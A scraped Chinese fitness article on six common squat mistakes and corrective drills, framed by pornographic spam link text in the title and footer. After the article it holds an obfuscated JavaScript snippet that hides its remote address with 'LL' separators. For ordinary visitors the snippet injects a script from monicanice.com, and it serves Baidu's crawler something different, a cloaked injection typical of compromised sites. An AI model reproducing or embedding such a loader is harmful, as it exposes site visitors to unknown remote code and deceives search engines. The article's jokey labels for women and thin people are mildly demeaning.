久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

深蹲的壞處有哪些呢

2017-04-16 09:32:27  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):隨著現(xiàn)代社會(huì)人們對(duì)各項(xiàng)運(yùn)動(dòng)方式的更加了解,在忙碌的工作之余都會(huì)選擇一些簡(jiǎn)單快捷的運(yùn)動(dòng)方式來(lái)進(jìn)行鍛煉身體。其中深蹲這種運(yùn)動(dòng)方式就廣受

隨著現(xiàn)代社會(huì)人們對(duì)各項(xiàng)運(yùn)動(dòng)方式的更加了解,在忙碌的工作之余都會(huì)選擇一些簡(jiǎn)單快捷的運(yùn)動(dòng)方式來(lái)進(jìn)行鍛煉身體。其中深蹲這種運(yùn)動(dòng)方式就廣受人們喜愛(ài)和認(rèn)可,但也會(huì)有朋友們抱怨在做完這項(xiàng)運(yùn)動(dòng)后感覺(jué)身體不是那么舒服,這究竟是怎么一回事呢。那么深蹲的壞處有哪些呢?接下來(lái)的時(shí)間就讓我為大家作出一個(gè)詳細(xì)解答。

1膝內(nèi)扣

常見(jiàn)多發(fā)人群:女性、娘炮。

危害:韌帶、半月板等損傷風(fēng)險(xiǎn)加大。

病因:骨盆寬、外展肌群弱。

解決策略:把骨盆削窄(不可行);強(qiáng)化外展肌群力量(可行)。

訓(xùn)練方法:小狗式髖外展、螃蟹步橫移(with迷你帶)。

2蹲的不夠“深”

常見(jiàn)多發(fā)人群:蹲不下去者、蹲得下去但偏不蹲下去者。

危害:倒也沒(méi)啥危害,但對(duì)臀大肌的刺激不夠,練不出翹臀。

病因:前者有柔韌性、協(xié)調(diào)性、技術(shù)等多方面因素;后者是心理因素。

解決策略:前者對(duì)薄弱環(huán)節(jié)進(jìn)行針對(duì)性練習(xí);后者去咨詢心理醫(yī)生。

訓(xùn)練方法:拉伸、Toe Touch練習(xí)。

3弓背

常見(jiàn)多發(fā)人群或種族:背部力量較差者、喵星人。

危害:下背部損傷風(fēng)險(xiǎn)加大。

病因:都說(shuō)了是背部力量差。

解決策略:加強(qiáng)背部力量練習(xí),維持脊柱中立位。

訓(xùn)練方法:?jiǎn)♀徲怖?直腿或屈腿)。

4不變換站距

常見(jiàn)多發(fā)人群:很多人(包括我)。

危害:產(chǎn)生不了新的刺激。

病因:沒(méi)有意識(shí);我是因?yàn)閼小?/p>

解決策略:加強(qiáng)意識(shí);勤快點(diǎn)。

訓(xùn)練方法:窄距練股四;中距練臀大、寬距練內(nèi)收。

5重量太輕

常見(jiàn)多發(fā)人群:死瘦子、女性。

危害:浪費(fèi)時(shí)間。

病因:真心蹲不動(dòng);怕加大重量練成大粗腿。

解決策略:循序漸進(jìn)、遞增負(fù)荷;妹子你想太多了。

訓(xùn)練方法:丟掉啞鈴(當(dāng)然不是隨手一丟,要按重量在啞鈴架上擺好,注意素質(zhì)和禮儀!),扛上杠鈴(注意正確技術(shù)動(dòng)作)!

6刻意要求膝關(guān)節(jié)不過(guò)腳尖

常見(jiàn)多發(fā)人群:被“膝關(guān)節(jié)不超過(guò)腳尖”的迷信洗腦者。

危害:額外增加髖關(guān)節(jié)和脊柱的壓力從而加大其損傷風(fēng)險(xiǎn)。試想一下腳短且脛骨長(zhǎng)的人豈不是得死?(辛虧我腳長(zhǎng)腿短嘿嘿~~)

病因:江湖郎中泛濫,人云亦云(一不小心就上升到社會(huì)問(wèn)題了)。

解決策略:膝蓋你大膽地往前走莫回頭,莫回誒頭!(開(kāi)玩笑,再不回頭就跪了,差不多超一點(diǎn)就得了!)

訓(xùn)練方法:下蹲開(kāi)始階段時(shí)不要先屈膝下降,而是先把髖往后“push”,有點(diǎn)“Good Morning”的意思,這樣對(duì)膝對(duì)髖對(duì)腰都挺好。

前面幾段文字內(nèi)容就是我為大家作出的一些解釋,相信廣大朋友們?cè)谡J(rèn)真看了之后心中對(duì)深蹲的壞處也有了一定的了解。其實(shí)我想告訴大家這些壞處不必太多的擔(dān)心,因?yàn)槎疾皇且恍┐髥?wèn)題,只是需要我們稍加留意和重視而已。但我們也必須要按照深蹲的動(dòng)作標(biāo)準(zhǔn)來(lái)做,否則就會(huì)拉傷我們的膝關(guān)節(jié)。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 国产黑人在线 | 成人欧美一区二区三区在线播放 | 久久9久久 | 99精品视频一区二区三区 | 一二三四区视频 | 中文字幕在线看 | 久久久久久久久久一本门道91 | 男女精品网站 | 大尺度cosplay福利裸 | 亚洲欧洲精品成人久久奇米网 | 久久成人免费视频 | 四虎影院最新网站 | 欧美日韩精品一区 | 成人午夜视频在线观看 | 国产福利精品一区二区三区 | 日韩一区二区三区在线 | 欧美一二 | 精品福利av导航 | 狠狠躁夜夜躁人人爽天天高潮 | 欧美日韩精品免费观看视频 | 国产日韩精品在线观看 | 91精品一区二区三区在线观看 | 蜜臀99久久精品久久久久久软件 | 成人aaaa| 亚洲福利一区二区 | a一级片在线观看 | 激情久久av一区av二区av三区 | 日韩欧美中文 | 天天添夜夜操 | 天天操天天色天天 | 亚洲成人三级 | 久久艹视频 | 国产一区在线观看视频 | 超碰在线99 | 美女网站视频免费黄 | 操一草 | 国产精品无码久久久久 | 日韩精品在线播放 | 亚洲一区在线日韩在线深爱 | 在线播放国产一区二区三区 | 羞羞视频网站在线免费观看 |